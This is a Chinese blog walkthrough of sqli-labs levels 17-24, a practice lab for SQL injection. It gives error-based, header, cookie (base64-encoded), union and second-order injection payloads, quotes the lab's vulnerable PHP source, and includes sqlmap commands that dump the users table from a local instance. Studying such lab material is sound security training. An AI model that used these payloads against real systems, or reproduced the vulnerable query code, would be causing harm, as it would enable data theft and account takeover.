前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Sqlilabs通关笔记(四)

Sqlilabs通关笔记(四)

作者头像
网络安全自修室
发布2020-07-22 17:00:40
8710
发布2020-07-22 17:00:40
举报
文章被收录于专栏:网络安全自修室

第十七关 基于POST错误的更新

注入点判断

  1. 在passwd直接加反斜杠有报错

uname=admin&passwd=admin&submit=Submit

  1. 可以在passwd参数上尝试报错注入
  2. 界面输入框好像是更新密码的窗口,猜测是对用户输入的密码没有进行检测过滤

源码分析

代码语言:javascript
复制
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);
function check_input($value)	{	if(!empty($value))		{		// truncation (see comments)截断15位		$value = substr($value,0,15);		}
		// Stripslashes if magic quotes enabled 如果打开了魔法开关,会自动转义		if (get_magic_quotes_gpc())			{                // 将反斜杠去掉			$value = stripslashes($value);			}
		// Quote if not a number		if (!ctype_digit($value))			{                // 自动转义			$value = "'" . mysql_real_escape_string($value) . "'";			}			else		{		$value = intval($value);		}	return $value;	}
  1. 查看源码可知有个过滤函数check_input,其过滤步骤是
    • substr($value,0,15) 截断到15位
    • 单引号、双引号、反斜杠、null自动用反斜杠转义
    • stripslashes()去掉多余的反斜杠
  2. 源码看passwd并没有使用过滤函数过滤,因而可以进行变量可控

_POST['passwd'];

  1. 是通过update进行一个拼接,且会打印错误信息

UPDATE users SET password = 'passwd' where username='row1';

  1. 报错注入无疑了,直接上payload

uname=admin&passwd=' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#&submit=Submit

uname=admin&passwd=' and extractvalue(null,concat(0x7e,database(),0x7e))#&submit=Submit

SQLMAP注入

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-17/" --data "uname=admin&passwd=woshiadmin&submit=Submit" -p passwd --dbms mysql --threads 10 --method POST --flush-session --fresh-queries --level 1 --risk 1 --technique E --dbs

  • --data:指定请求信息
  • -p:指定参数
  • --dbms:指定后端数据库
  • --threads:指定并发线程数
  • --method:指定请求方式
  • --flush-session:清除session
  • --fresh-queries:发起新的请求
  • --level 1:尝试POST和GET注入
  • --risk 1:仅测试常见用例
  • --technique E:仅测试报错注入方式

第十八关 基于POST错误的Uagent字段数据头注入

注入点判断

  1. 页面显示yourip应该是请求头的参数参入
  2. 同时post传入并未有该参数
  3. 用admin登录成功后发现有User-agents显示
  1. 无法使用hackbar插件提交了,需要用到burpsuit进行抓包提交
  2. 抓包如下
  1. 在user-agent头上加单引号报错,确定user-agent注入了
  1. 通过单引号闭合进行payload构造

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and '1' = '1

  1. 直接构造报错注入的payload

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

第十九关 基于POST错误的Referer字段数据头注入

1.同理,本关的注入点在Referer参数,payload一样只是参数位置不同

第二十关 基于POST错误的Cookie-Uagent字段数据头注入

1.同理,本关的注入点在cookie参数,payload一样只是参数位置不同

Cookie: uname=admin' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

第二十一关 基于base64编码单引号的Cookie注入

1.同理,本关的注入点在cookie参数,和上一关payload一样只是编码方式不同

uname=YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgJzEnID0gJzE%3d

第二十二关 基于base64编码加密的双引号Cookie注入

1.同理,本关的注入点在cookie参数,和上一关payload一样只是双引号闭合方式

uname=YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgIjEiID0gIjE%3d

SQLMAP注入

  1. 可以直接使用-r进行对抓取的数据包进行检测在user-agent这个需要检测的参数上加上*号

sqlmap -r "2.txt" -D security -T users --columns --dump --batch --technique E --batch --level 3 --threads 10

  1. 也可以直接通过user-agent注入,时间可能稍长一些

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-18/" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0' and '1'='1" --level 3 --threads 10 --dbms mysql --fresh-queries --flush-session -D security -T users --columns --dump --batch --technique E

  • --level

level: 设置检测的方方面面和测试用例 - 默认是1,会尝试POST和GET - 2:Cookie也会加入检测 - 3:User-Agent和Referer也会检测, 更大的值会增加用例量

  • --user-agent

指定User-Agent

  • --data

指定请求的内容

  • --dbms

指定后端数据库,给定后端数据库的类型可以减少减少无关的测试用例.

  • --fresh-queries

fresh-queries会忽略之前的查询结果,进行重新请求操作

  • --flush-session

flush-session会清空当前URL相关的session

第二十三关 基于GET错误的过滤注释

注入点判断

  1. 老办法单引号反斜杠试了下确实报错
  2. 但注释过不了怀疑注释有过滤
  3. 查看源代码,发现将#和--替换成空了
代码语言:javascript
复制
$reg = "/#/";$reg1 = "/--/";$replace = "";$id = preg_replace($reg, $replace, $id);$id = preg_replace($reg1, $replace, $id);$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
  1. 直接上payload

http://127.0.0.1/sqlilabs2/Less-23/?id=-1' union select 1,(select group_concat(username,password ) from users),3 and '1' = '1

第二十四关 POST二次排序注入-存储型注入

注入点判断

  1. 感觉界面大变样
  1. 登录进去又是改密码,猜测又是update语句
  1. 修改密码加反斜杠重新登录未见报错,查看源代码一探究竟
    • 有新用户注册文件 New_user.php
    • 修改密码文件 pass_change.php
    • 登录文件 login.php
    • 都使用了mysql_real_escape_string函数对注册的参数进行过滤
    • 但在修改密码文件中却是直接调用username参数
    • 猜测可以之间注册一个admin'#用户进而修改admin的密码,代码如下
代码语言:javascript
复制
if (isset($_POST['submit'])){			# Validating the user input........	$username= $_SESSION["username"];	$curr_pass= mysql_real_escape_string($_POST['current_password']);	$pass= mysql_real_escape_string($_POST['password']);	$re_pass= mysql_real_escape_string($_POST['re_password']);		if($pass==$re_pass)	{			$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";		$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');		$row = mysql_affected_rows();		echo '<font size="3" color="#FFFF00">';		echo '<center>';		if($row==1)		{			echo "Password successfully updated";			}		else		{			header('Location: failed.php');			//echo 'You tried to be smart, Try harder!!!! :( ';		}	}	else	{		echo '<font size="5" color="#FFFF00"><center>';		echo "Make sure New Password and Retype Password fields have same value";		header('refresh:2, url=index.php');	}}

因为没有报错注入的条件,时间盲注有点漫长可以尝试脚本注册然后再注入,确实有点麻烦

但本题目的是:对于存储型的注入,可以先将导致SQL注入的字符预先存到数据库中,当再次调用到这个恶意构造的字符时就可以触发注入

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-02-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 第十七关 基于POST错误的更新
    • 注入点判断
      • 源码分析
        • SQLMAP注入
        • 第十八关 基于POST错误的Uagent字段数据头注入
          • 注入点判断
          • 第十九关 基于POST错误的Referer字段数据头注入
          • 第二十关 基于POST错误的Cookie-Uagent字段数据头注入
          • 第二十一关 基于base64编码单引号的Cookie注入
          • 第二十二关 基于base64编码加密的双引号Cookie注入
            • SQLMAP注入
            • 第二十三关 基于GET错误的过滤注释
              • 注入点判断
              • 第二十四关 POST二次排序注入-存储型注入
                • 注入点判断
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档